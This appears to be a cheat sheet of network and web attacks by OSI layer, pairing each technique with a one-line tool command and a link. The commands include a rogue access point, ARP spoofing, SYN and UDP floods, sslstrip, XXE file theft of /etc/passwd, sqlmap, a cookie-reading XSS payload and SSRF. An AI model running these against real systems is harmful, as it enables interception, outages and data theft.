Advanced Network Attacks Across OSI Layers

Description: Physical access exploitation of unattended systems.

Example: Using tools like PCILeech for DMA attacks: `pcileech dump -device fpga -max 0x1000000`

Reference: https://github.com/ufrisk/pcileech

Description: Intercepting data from fiber optic cables without disrupting the connection.

Example: Using specialized equipment like the Fiber Tapping Kit from Oyster Technologies

Reference: https://www.osec.io/blog/fiber-optic-tapping-101/

Description: Setting up malicious Wi-Fi access points to intercept traffic.

Example: Using Aircrack-ng suite: `airbase-ng -e "Free WiFi" -c 6 wlan0mon`

Reference: https://www.aircrack-ng.org/doku.php?id=airbase-ng

Description: Overwhelming a switch's CAM table to force it into hub-like behavior.

Example: Using macof: `macof -i eth0 -n 10000`

Reference: https://github.com/robertdavidgraham/macof

Description: Manipulating ARP tables to redirect traffic for MITM attacks.

Example: Using Ettercap: `ettercap -T -q -i eth0 -M arp:remote /target1/ /target2/`

Reference: https://www.ettercap-project.org/index.html

Description: Attacking the VLAN infrastructure to access unauthorized VLANs.

Example: Using Yersinia: `yersinia -I`

Reference: https://github.com/tomac/yersinia

Description: Forging the source IP address in packets to impersonate trusted systems.

Example: Using Scapy: `send(IP(src="192.168.1.1", dst="192.168.1.2")/ICMP())`

Reference: https://scapy.net/

Description: Encapsulating other protocols within ICMP to bypass firewalls.

Example: Using ptunnel: `ptunnel -p proxy.example.com -lp 8000 -da internal.example.com -dp 22`

Reference: http://www.cs.uit.no/~daniels/PingTunnel/

Description: Manipulating BGP to redirect large portions of Internet traffic.

Example: Simulating with GNS3 or EVE-NG for testing purposes

Reference: https://www.cloudflare.com/learning/security/glossary/bgp-hijacking/

Description: Overwhelming a system with TCP SYN packets to exhaust resources.

Example: Using hping3: `hping3 -S -p 80 --flood target_ip`

Reference: http://www.hping.org/

Description: Exploiting UDP services to generate large amounts of traffic for DDoS.

Example: Using UDPFlooder: `./udpflood target_ip target_port payload_size number_of_packets`

Reference: https://github.com/opsxcq/udp-flood

Description: Forcing the use of weaker encryption protocols for easier interception.

Example: Using sslstrip: `sslstrip -l 8080`

Reference: https://github.com/moxie0/sslstrip

Description: Taking over an authenticated session to gain unauthorized access.

Example: Using Burp Suite to capture and modify session tokens

Reference: https://portswigger.net/burp

Description: Tricking users into performing unintended actions on authenticated web applications.

Example: Creating a malicious HTML form that submits to a target site

Reference: https://owasp.org/www-community/attacks/csrf

Description: Intercepting and potentially altering communications between two parties.

Example: Using Bettercap: `bettercap -iface eth0 -caplet http-proxy`

Reference: https://www.bettercap.org/

Description: Exploiting vulnerabilities in SSL/TLS protocols or implementations.

Example: Using sslscan to identify weak ciphers: `sslscan example.com`

Reference: https://github.com/rbsec/sslscan

Description: Exploiting improper use of format string functions in C/C++ programs.

Example: Crafting malicious input like `printf("%s%s%s%s%s%n")`

Reference: https://owasp.org/www-community/attacks/Format_string_attack

Description: Exploiting XML parsers to process malicious external entity references.

Example: Using XXEinjector: `ruby XXEinjector.rb --host=192.168.0.2 --path=/path/to/vulnerable/file --file=/etc/passwd`

Reference: https://github.com/enjoiz/XXEinjector

Description: Inserting malicious SQL code to manipulate database queries.

Example: Using sqlmap: `sqlmap -u "http://example.com/page.php?id=1" --dbs`

Reference: http://sqlmap.org/

Description: Injecting malicious scripts into web pages viewed by other users.

Example: Testing with payload: `<script>alert(document.cookie)</script>`

Reference: https://owasp.org/www-community/attacks/xss/

Description: Abusing server functionality to perform unauthorized actions.

Example: Crafting a request like: `http://vulnerable-server.com/fetch?url=http://internal-server.local/sensitive-data`

Reference: https://portswigger.net/web-security/ssrf